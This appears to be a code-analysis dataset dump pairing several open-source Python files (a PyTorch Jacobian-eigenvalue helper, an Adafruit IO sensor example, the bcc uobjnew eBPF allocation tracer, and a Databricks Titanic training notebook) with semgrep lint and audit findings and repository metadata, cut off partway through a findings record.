# Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # written by Hugo Berard (berard.hugo@gmail.com) while at Facebook. from __future__ import print_function import scipy.sparse.linalg as linalg import torch from torch import autograd import numpy as np class JacobianVectorProduct(linalg.LinearOperator): def __init__(self, grad, params): if isinstance(grad, (list, tuple)): grad = list(grad) for i, g in enumerate(grad): grad[i] = g.view(-1) self.grad = torch.cat(grad) elif isinstance(grad, torch.Tensor): self.grad = grad.view(-1) self.shape = (self.grad.size(0), self.grad.size(0)) self.dtype = np.dtype('Float32') self.params = params def _matvec(self, v): v = torch.Tensor(v) if self.grad.is_cuda: v = v.cuda() grad_vector_product = torch.dot(self.grad, v) hv = autograd.grad(grad_vector_product, self.params, retain_graph=True, allow_unused=True) _hv = [] for g, p in zip(hv, self.params): if g is None: g = torch.zeros_like(p) _hv.append(g.contiguous().view(-1)) hv = torch.cat(_hv) return hv.cpu() def test_hessian_eigenvalues(): SIZE = 4 params = torch.rand(SIZE, requires_grad=True) loss = (params**2).sum()/2 grad = autograd.grad(loss, params, create_graph=True)[0] A = JacobianVectorProduct(grad, params) e = linalg.eigsh(A, k=2) return e def test_jacobian_eigenvalues(): SIZE = 4 param_1 = torch.rand(SIZE, requires_grad=True) param_2 = torch.rand(SIZE, requires_grad=True) loss_1 = (param_1*param_2).sum() loss_2 = -(param_1*param_2).sum() grad_1 = autograd.grad(loss_1, param_1, create_graph=True)[0] grad_2 = autograd.grad(loss_2, param_2, create_graph=True)[0] grad = torch.cat([grad_1, grad_2]) params =[param_1, param_2] A = JacobianVectorProduct(grad, params) e = linalg.eigs(A, k=2) return e if __name__ == '__main__': print(test_hessian_eigenvalues()) print(test_jacobian_eigenvalues())
66
33.15
98
15
601
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_e62c0eb22d2d3287_cf704fa9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant self.grad.is_cuda() because self.grad.is_cuda is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 12, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/e62c0eb22d2d3287.py", "start": {"line": 29, "col": 12, "offset": 942}, "end": {"line": 29, "col": 29, "offset": 959}, "extra": {"message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant self.grad.is_cuda() because self.grad.is_cuda is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 29 ]
[ 29 ]
[ 12 ]
[ 29 ]
[ "" ]
[ "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant self.grad.is_cuda() because self.grad.is_cuda is always true." ]
[ 5 ]
[ "" ]
[ "" ]
linalg.py
/lib/linalg.py
lilujunai/GAN-optimization-landscape
MIT
2024-11-18T18:16:11.668356+00:00
1,690,818,508,000
17afd67b525fe02aa155acb7ad8afc74d762c41d
3
{ "blob_id": "17afd67b525fe02aa155acb7ad8afc74d762c41d", "branch_name": "refs/heads/main", "committer_date": 1690818508000, "content_id": "7aafb8b6394ef61efc0e15af07ce7b3d6ab75f55", "detected_licenses": [ "MIT" ], "directory_id": "cd5928555eac608a407480904da529b8f98879d0", "extension": "py", "filename": "adafruit_io_analog_in.py", "fork_events_count": 41, "gha_created_at": 1550612042000, "gha_event_created_at": 1693684443000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 171553485, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2601, "license": "MIT", "license_type": "permissive", "path": "/examples/adafruit_io_http/adafruit_io_analog_in.py", "provenance": "stack-edu-0054.json.gz:569154", "repo_name": "adafruit/Adafruit_CircuitPython_AdafruitIO", "revision_date": 1690818508000, "revision_id": "0772f3be8562aaf9044a0f952b1a32267fb5a062", "snapshot_id": "b258f4bc3795136333e651717c45f8e8d00f53be", "src_encoding": "UTF-8", "star_events_count": 47, "url": "https://raw.githubusercontent.com/adafruit/Adafruit_CircuitPython_AdafruitIO/0772f3be8562aaf9044a0f952b1a32267fb5a062/examples/adafruit_io_http/adafruit_io_analog_in.py", "visit_date": "2023-08-08T13:26:29.684776" }
2.71875
stackv2
# SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries # SPDX-License-Identifier: MIT # Example of publishing the value of an ADC to Adafruit IO # adafruit_circuitpython_adafruitio with an esp32spi_socket import time import board import busio from analogio import AnalogIn from digitalio import DigitalInOut import adafruit_esp32spi.adafruit_esp32spi_socket as socket from adafruit_esp32spi import adafruit_esp32spi import adafruit_requests as requests from adafruit_io.adafruit_io import IO_HTTP, AdafruitIO_RequestError # Add a secrets.py to your filesystem that has a dictionary called secrets with "ssid" and # "password" keys with your WiFi credentials. DO NOT share that file or commit it into Git or other # source control. # pylint: disable=no-name-in-module,wrong-import-order try: from secrets import secrets except ImportError: print("WiFi secrets are kept in secrets.py, please add them there!") raise # If you are using a board with pre-defined ESP32 Pins: esp32_cs = DigitalInOut(board.ESP_CS) esp32_ready = DigitalInOut(board.ESP_BUSY) esp32_reset = DigitalInOut(board.ESP_RESET) # If you have an externally connected ESP32: # esp32_cs = DigitalInOut(board.D9) # esp32_ready = DigitalInOut(board.D10) # esp32_reset = DigitalInOut(board.D5) spi = busio.SPI(board.SCK, board.MOSI, board.MISO) esp = adafruit_esp32spi.ESP_SPIcontrol(spi, esp32_cs, esp32_ready, esp32_reset) print("Connecting to AP...") while not esp.is_connected: try: esp.connect_AP(secrets["ssid"], secrets["password"]) except RuntimeError as e: print("could not connect to AP, retrying: ", e) continue print("Connected to", str(esp.ssid, "utf-8"), "\tRSSI:", esp.rssi) socket.set_interface(esp) requests.set_socket(socket, esp) # Set your Adafruit IO Username and Key in secrets.py # (visit io.adafruit.com if you need to create an account, # or if you need your Adafruit IO key.) aio_username = secrets["aio_username"] aio_key = secrets["aio_key"] # Initialize an Adafruit IO HTTP API object io = IO_HTTP(aio_username, aio_key, requests) try: # Get the 'light' feed from Adafruit IO light_feed = io.get_feed("light") except AdafruitIO_RequestError: # If no 'light' feed exists, create one light_feed = io.create_new_feed("light") # Set up an ADC adc = AnalogIn(board.A0) SENSOR_DELAY = 30 while True: light_value = adc.value print("ADC Value: ", light_value) print("Sending to Adafruit IO...") io.send_data(light_feed["key"], light_value) print("Sent!") # delay sending to Adafruit IO time.sleep(SENSOR_DELAY)
78
32.35
99
11
696
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5c77c4d1dc33da55_4e2dbdc4", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant esp.is_connected() because esp.is_connected is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 11, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5c77c4d1dc33da55.py", "start": {"line": 40, "col": 11, "offset": 1451}, "end": {"line": 40, "col": 27, "offset": 1467}, "extra": {"message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant esp.is_connected() because esp.is_connected is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_5c77c4d1dc33da55_4d09a184", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/5c77c4d1dc33da55.py", "start": {"line": 78, "col": 5, "offset": 2576}, "end": {"line": 78, "col": 29, "offset": 2600}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 40 ]
[ 40 ]
[ 11 ]
[ 27 ]
[ "" ]
[ "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant esp.is_connected() because esp.is_connected is always true." ]
[ 5 ]
[ "" ]
[ "" ]
adafruit_io_analog_in.py
/examples/adafruit_io_http/adafruit_io_analog_in.py
adafruit/Adafruit_CircuitPython_AdafruitIO
MIT
2024-11-18T18:16:12.363897+00:00
1,693,493,095,000
3b8231d02e7d65ce4e3ce13a5a39b3b73e1b8c15
2
{ "blob_id": "3b8231d02e7d65ce4e3ce13a5a39b3b73e1b8c15", "branch_name": "refs/heads/master", "committer_date": 1693567290000, "content_id": "60359c427ea9469434630cd17e5e7a5c05d12577", "detected_licenses": [ "Apache-2.0" ], "directory_id": "cb6d0a660cfcb28ee9e8a1c0266925f8f541edfb", "extension": "py", "filename": "uobjnew.py", "fork_events_count": 3907, "gha_created_at": 1430509952000, "gha_event_created_at": 1694640173000, "gha_language": "C", "gha_license_id": "Apache-2.0", "github_id": 34921116, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6179, "license": "Apache-2.0", "license_type": "permissive", "path": "/tools/lib/uobjnew.py", "provenance": "stack-edu-0054.json.gz:569164", "repo_name": "iovisor/bcc", "revision_date": 1693493095000, "revision_id": "ec49363e2e9daec026ee6cae4c5fc316f8fab0ff", "snapshot_id": "0e002769364523caeb731216021b0a3c881a723f", "src_encoding": "UTF-8", "star_events_count": 18467, "url": "https://raw.githubusercontent.com/iovisor/bcc/ec49363e2e9daec026ee6cae4c5fc316f8fab0ff/tools/lib/uobjnew.py", "visit_date": "2023-09-03T22:37:47.238198" }
2.46875
stackv2
#!/usr/bin/python # @lint-avoid-python-3-compatibility-imports # # uobjnew Summarize object allocations in high-level languages. # For Linux, uses BCC, eBPF. # # USAGE: uobjnew [-h] [-T TOP] [-v] {c,java,ruby,tcl} pid [interval] # # Copyright 2016 Sasha Goldshtein # Licensed under the Apache License, Version 2.0 (the "License") # # 25-Oct-2016 Sasha Goldshtein Created this. from __future__ import print_function import argparse from bcc import BPF, USDT, utils from time import sleep import os # C needs to be the last language. languages = ["c", "java", "ruby", "tcl"] examples = """examples: ./uobjnew -l java 145 # summarize Java allocations in process 145 ./uobjnew -l c 2020 1 # grab malloc() sizes and print every second ./uobjnew -l ruby 6712 -C 10 # top 10 Ruby types by number of allocations ./uobjnew -l ruby 6712 -S 10 # top 10 Ruby types by total size """ parser = argparse.ArgumentParser( description="Summarize object allocations in high-level languages.", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=examples) parser.add_argument("-l", "--language", choices=languages, help="language to trace") parser.add_argument("pid", type=int, help="process id to attach to") parser.add_argument("interval", type=int, nargs='?', help="print every specified number of seconds") parser.add_argument("-C", "--top-count", type=int, help="number of most frequently allocated types to print") parser.add_argument("-S", "--top-size", type=int, help="number of largest types by allocated bytes to print") parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode: print the BPF program (for debugging purposes)") parser.add_argument("--ebpf", action="store_true", help=argparse.SUPPRESS) args = parser.parse_args() language = args.language if not language: language = utils.detect_language(languages, args.pid) program = """ #include <linux/ptrace.h> struct key_t { #if MALLOC_TRACING u64 size; #else char name[50]; #endif }; struct val_t { u64 total_size; u64 num_allocs; }; BPF_HASH(allocs, struct key_t, struct val_t); """.replace("MALLOC_TRACING", "1" if language == "c" else "0") usdt = USDT(pid=args.pid) # # C # if language == "c": program += """ int alloc_entry(struct pt_regs *ctx, size_t size) { struct key_t key = {}; struct val_t *valp, zero = {}; key.size = size; valp = allocs.lookup_or_try_init(&key, &zero); if (valp) { valp->total_size += size; valp->num_allocs += 1; } return 0; } """ # # Java # elif language == "java": program += """ int alloc_entry(struct pt_regs *ctx) { struct key_t key = {}; struct val_t *valp, zero = {}; u64 classptr = 0, size = 0; u32 length = 0; bpf_usdt_readarg(2, ctx, &classptr); bpf_usdt_readarg(3, ctx, &length); bpf_usdt_readarg(4, ctx, &size); bpf_probe_read_user(&key.name, min(sizeof(key.name), (size_t)length), (void *)classptr); valp = allocs.lookup_or_try_init(&key, &zero); if (valp) { valp->total_size += size; valp->num_allocs += 1; } return 0; } """ usdt.enable_probe_or_bail("object__alloc", "alloc_entry") # # Ruby # elif language == "ruby": create_template = """ int THETHING_alloc_entry(struct pt_regs *ctx) { struct key_t key = { .name = "THETHING" }; struct val_t *valp, zero = {}; u64 size = 0; bpf_usdt_readarg(1, ctx, &size); valp = allocs.lookup_or_try_init(&key, &zero); if (valp) { valp->total_size += size; valp->num_allocs += 1; } return 0; } """ program += """ int object_alloc_entry(struct pt_regs *ctx) { struct key_t key = {}; struct val_t *valp, zero = {}; u64 classptr = 0; bpf_usdt_readarg(1, ctx, &classptr); bpf_probe_read_user(&key.name, sizeof(key.name), (void *)classptr); valp = allocs.lookup_or_try_init(&key, &zero); if (valp) { valp->num_allocs += 1; // We don't know the size, unfortunately } return 0; } """ usdt.enable_probe_or_bail("object__create", "object_alloc_entry") for thing in ["string", "hash", "array"]: program += create_template.replace("THETHING", thing) usdt.enable_probe_or_bail("%s__create" % thing, "%s_alloc_entry" % thing) # # Tcl # elif language == "tcl": program += """ int alloc_entry(struct pt_regs *ctx) { struct key_t key = { .name = "<ALL>" }; struct val_t *valp, zero = {}; valp = allocs.lookup_or_try_init(&key, &zero); if (valp) { valp->num_allocs += 1; } return 0; } """ usdt.enable_probe_or_bail("obj__create", "alloc_entry") else: print("No language detected; use -l to trace a language.") exit(1) if args.ebpf or args.verbose: if args.verbose: print(usdt.get_text()) print(program) if args.ebpf: exit() bpf = BPF(text=program, usdt_contexts=[usdt]) if language == "c": bpf.attach_uprobe(name="c", sym="malloc", fn_name="alloc_entry", pid=args.pid) exit_signaled = False print("Tracing allocations in process %d (language: %s)... Ctrl-C to quit." % (args.pid, language or "none")) while True: try: sleep(args.interval or 99999999) except KeyboardInterrupt: exit_signaled = True print() data = bpf["allocs"] if args.top_count: data = sorted(data.items(), key=lambda kv: kv[1].num_allocs) data = data[-args.top_count:] elif args.top_size: data = sorted(data.items(), key=lambda kv: kv[1].total_size) data = data[-args.top_size:] else: data = sorted(data.items(), key=lambda kv: kv[1].total_size) print("%-30s %8s %12s" % ("NAME/TYPE", "# ALLOCS", "# BYTES")) for key, value in data: if language == "c": obj_type = "block size %d" % key.size else: obj_type = key.name print("%-30s %8d %12d" % (obj_type, value.num_allocs, value.total_size)) if args.interval and not exit_signaled: bpf["allocs"].clear() else: exit()
212
28.15
92
15
1,790
python
[{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_769083393c62cdbe_e67bb33c", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(1)", "location": {"file_path": "unknown", "line_start": 168, "line_end": 168, "column_start": 5, "column_end": 12, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/769083393c62cdbe.py", "start": {"line": 168, "col": 5, "offset": 4814}, "end": {"line": 168, "col": 12, "offset": 4821}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(1)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_769083393c62cdbe_46dbc347", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 194, "line_end": 194, "column_start": 52, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/769083393c62cdbe.py", "start": {"line": 194, "col": 52, "offset": 5501}, "end": {"line": 194, "col": 68, "offset": 5517}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_769083393c62cdbe_c080865e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 197, "line_end": 197, "column_start": 52, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/769083393c62cdbe.py", "start": {"line": 197, "col": 52, "offset": 5632}, "end": {"line": 197, "col": 68, "offset": 5648}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_769083393c62cdbe_d64711e3", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 200, "line_end": 200, "column_start": 52, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/769083393c62cdbe.py", "start": {"line": 200, "col": 52, "offset": 5748}, "end": {"line": 200, "col": 68, "offset": 5764}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "", "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 194, 197, 200 ]
[ 194, 197, 200 ]
[ 52, 52, 52 ]
[ 68, 68, 68 ]
[ "", "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function" ]
[ 5, 5, 5 ]
[ "", "", "" ]
[ "", "", "" ]
uobjnew.py
/tools/lib/uobjnew.py
iovisor/bcc
Apache-2.0
2024-11-18T18:16:13.733478+00:00
1,596,808,707,000
e854f5625b2e6a9bef4995dba8daa0af4d1ad961
3
{ "blob_id": "e854f5625b2e6a9bef4995dba8daa0af4d1ad961", "branch_name": "refs/heads/master", "committer_date": 1596808707000, "content_id": "e0b3661c87c4fdb51baf65eb76e3d60f6594b174", "detected_licenses": [ "MIT" ], "directory_id": "6caf6d0fda88ffb306bf606a83a32844ebfb4b3d", "extension": "py", "filename": "scikit-titanic.py", "fork_events_count": 6, "gha_created_at": 1541156313000, "gha_event_created_at": 1572430601000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 155853914, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3870, "license": "MIT", "license_type": "permissive", "path": "/archive/notebooks/scikit-titanic.py", "provenance": "stack-edu-0054.json.gz:569176", "repo_name": "benc-uk/batcomputer", "revision_date": 1596808707000, "revision_id": "698e5b8be62fde0c093e9da8203d176feb0dd33b", "snapshot_id": "b9bc27000765036a91f10b0fab4e6ca0ba5eee69", "src_encoding": "UTF-8", "star_events_count": 14, "url": "https://raw.githubusercontent.com/benc-uk/batcomputer/698e5b8be62fde0c093e9da8203d176feb0dd33b/archive/notebooks/scikit-titanic.py", "visit_date": "2021-07-06T06:22:39.789711" }
2.796875
stackv2
# Databricks notebook source # MAGIC %md ## Pandas - Extracting data # COMMAND ---------- import pandas as pd import numpy as np # Load data from CSV data = pd.read_csv('/dbfs/FileStore/tables/titanic.csv') # COMMAND ---------- # MAGIC %md ## Pandas - Cleaning data # COMMAND ---------- # Drop rubbish columns we don't need try: data = data.drop(['Name', 'Ticket', 'Cabin'], axis=1) except: pass # Drop any rows that have nulls/na/blanks data = data.dropna() # Create numerical columns try: data['Gender'] = data['Sex'].map({'female': 0, 'male':1}).astype(int) data['Port'] = data['Embarked'].map({'C':1, 'S':2, 'Q':3}).astype(int) data = data.drop(['Sex', 'Embarked'], axis=1) except: pass # Move survived column first as it's our outcome cols = data.columns.tolist() cols = [cols[1]] + cols[0:1] + cols[2:] data = data[cols] # Column info data.info() # Get our training data in NumPy format train_data = data.values # COMMAND ---------- # MAGIC %md ## Scikit-learn - Training the model # COMMAND ---------- from sklearn.ensemble import RandomForestClassifier # Use RandomForestClassifier model = RandomForestClassifier(n_estimators = 100) model = model.fit(train_data[0:,2:], train_data[0:,0]) # COMMAND ---------- # MAGIC %md ## Test # COMMAND ---------- answer = model.predict_proba([[3, 42, 0, 0, 2, 1, 1]]) print(answer[0]) # COMMAND ---------- # MAGIC %md ## Pickle model and store in Azure storage # COMMAND ---------- from collections import OrderedDict import pickle from azure.storage.blob import BlockBlobService try: # Widgets are how we get values passed from a DataBricks job # Model version, name & storage-account is passed into job, and storage key is kept in Azure Key Vault STORAGE_KEY = dbutils.secrets.get("keyvault-secrets", "storage-key") STORAGE_ACCOUNT = dbutils.widgets.get("storage_account") MODEL_VERSION = dbutils.widgets.get("model_version") STORAGE_CONTAINER = dbutils.widgets.get("model_name") except: pass # STORAGE_ACCOUNT value should only be set when this Notebook is invoked via a job # So we only pickle and store in Azure blobs when running as a job if 'STORAGE_ACCOUNT' in vars(): # ORDER IS IMPORTANT! This is why we use OrderedDict and create entries one by one # Lookup is used by the API app to convert parameter names and the string values back to encoded features lookup = OrderedDict() lookup["Pclass"] = 0 lookup["Age"] = 0 lookup["SibSp"] = 0 lookup["Parch"] = 0 lookup["Fare"] = 0 lookup["Gender"] = {"male": 1, "female": 0} lookup["Port"] = {"Cherbourg": 1, "Southampton": 2, "Queenstown": 3} # Create output lookup, called flags flags = ["died_proba", "survived_proba"] # Pickle the whole damn lot with open("model.pkl" , 'wb') as file: pickle.dump(model, file) file.close() with open("lookup.pkl" , 'wb') as file: pickle.dump(lookup, file) file.close() with open("flags.pkl" , 'wb') as file: pickle.dump(flags, file) file.close() # Create the BlockBlockService that is used to call the Blob service for the storage account block_blob_service = BlockBlobService(account_name=STORAGE_ACCOUNT, account_key=STORAGE_KEY) # Create a container block_blob_service.create_container(STORAGE_CONTAINER) # Upload the model and other pickles to the model registry block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/model.pkl", "model.pkl") block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/lookup.pkl", "lookup.pkl") block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/flags.pkl", "flags.pkl") # Job complete dbutils.notebook.exit("Version: " + MODEL_VERSION + " pickled model and lookups stored in " + STORAGE_ACCOUNT + "/" + STORAGE_CONTAINER+"/"+MODEL_VERSION)
129
29
156
15
1,015
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2569b74f84f5922_0e7829ff", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2569b74f84f5922.py", "start": {"line": 107, "col": 5, "offset": 2813}, "end": {"line": 107, "col": 29, "offset": 2837}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2569b74f84f5922_6dd7d372", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 111, "line_end": 111, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2569b74f84f5922.py", "start": {"line": 111, "col": 5, "offset": 2904}, "end": {"line": 111, "col": 30, "offset": 2929}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2569b74f84f5922_5bf1bc59", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, 